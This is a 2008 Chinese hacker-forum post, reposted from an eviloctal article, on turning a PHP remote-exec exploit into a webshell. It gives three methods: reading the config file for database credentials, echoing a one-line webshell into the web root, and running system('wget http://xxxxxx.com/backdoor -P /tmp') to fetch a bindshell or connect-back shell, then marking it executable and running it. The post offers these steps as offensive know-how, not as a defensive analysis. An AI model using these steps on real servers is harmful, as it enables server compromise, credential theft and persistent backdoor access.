注册
登录
论坛
搜索
插件
默认风格
默认风格_6hOY
D Dark
greenwall
jeans
fashion
私人消息 (0)
公共消息 (0)
论坛任务 (0)
系统消息 (0)
好友消息 (0)
帖子消息 (0)
【3.A.S.T】网络安全爱好者
»
技术交流
» [讨论]php remote exec to get a webshell?
返回列表
发帖
2000gaobo
发短消息
加为好友
2000gaobo
当前离线
UID
1226
帖子
255
精华
0
积分
678
威望
1093
金钱
877
阅读权限
70
在线时间
2 小时
注册时间
2008-7-16
最后登录
2009-2-13
3.A.S.T少校
帖子
255
积分
678
威望
1093
金钱
877
在线时间
2 小时
1
楼
跳转到
»
正序看帖
打印
字体大小:
t
T
发表于 2008-7-24 17:20
|
只看该作者
[讨论]php remote exec to get a webshell?
get
,
exec
,
remote
,
webshell
,
php
[讨论]php remote exec to get a webshell?
文章作者:xi4oyu
信息来源:邪恶八进制信息安全团队(
www.eviloctal.com
)
逛milw0rm的在webapp板块可能经常会看到remote exec的php exploit
怎么通过这个获得webshell呢?
1.最传统的方法,读config获得mysql的帐号密码,再backup 一个shell出来
2.直接echo 写一个 一句话到web目录,具体的权限可以通过ls -l看看 需要注意转义字符的使用
3.要是目录都不能写呢?think,为什么我们非要php的webshell呢?可以直接用wget lynx之类的get一个perl 或者c 的bindshell或者connectback shell,执行之就可以了
第三点详细写下
"system('wget
http://xxxxxx.com/backdoor
-P /tmp')"
wget的-P选项 指定保存的目录的,下载完你可以ls /tmp看下,一般有两个目录肯定可写的/tmp /usr/tmp推荐写/usr/tmp目录
恩,下载好了,chmod +x backdoor 一下,然后执行一下,当然如果是c写的,需要事先编译一下。
然后是bind 的自己连下,connectback的要事先监听好端口,视情况而定。
呵呵,木有技术含量阿,提供个思路罢了,大家讨论讨论其他方法
帖子68 精华
0
积分3365 阅读权限100 性别男 在线时间180 小时 注册时间2006-6-19 最后登录2008-7-23
查看详细资料
TOP
爱要怎么说出口
pt007
荣誉会员
收藏
分享
返回列表
【 新 手 入 门 】
初入江湖
有问必答
软件交流
程序设计
黑客播报
操作系统
Windows专区
Unix 专区
【 技 术 交 流 】
原创专区
QQ技巧
反黑知识
网站建设
教程发布
技术交流
免杀技术
0day发布
专题归类
私服技术
【 论 坛 水 区 】
被黑站点
激情灌水
极品贴图
开心乐园
影音专区
广告专区
【 论 坛 管 理 】
新人报到
论坛管理
勋章申请
[收藏此主题]
[关注此主题的新回复]
[通过 QQ、MSN 分享给朋友]
全国地图
@@@ 加入本站会员 一个月月赚1200+的秘密@@@